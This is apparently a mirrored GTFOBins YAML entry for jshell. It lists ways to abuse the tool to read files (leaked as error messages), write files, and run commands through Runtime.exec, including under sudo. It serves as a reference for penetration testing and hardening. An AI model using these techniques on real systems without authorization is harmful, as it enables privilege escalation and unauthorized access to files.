mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced 2026-03-07 14:36:23 +01:00
33 lines
600 B
Plaintext
33 lines
600 B
Plaintext
---
|
|
functions:
|
|
file-read:
|
|
- binary: false
|
|
code: |-
|
|
jshell
|
|
jshell> /open /path/to/input-file
|
|
comment: |-
|
|
The content is leaked as error messages.
|
|
contexts:
|
|
sudo:
|
|
unprivileged:
|
|
file-write:
|
|
- binary: false
|
|
code: |-
|
|
jshell
|
|
String x = "DATA";
|
|
/save /path/to/output-file
|
|
comment: |-
|
|
Writes only the valid Java code to file.
|
|
contexts:
|
|
sudo:
|
|
unprivileged:
|
|
shell:
|
|
- blind: true
|
|
code: |-
|
|
jshell
|
|
Runtime.getRuntime().exec("/path/to/command");
|
|
contexts:
|
|
sudo:
|
|
unprivileged:
|
|
...
|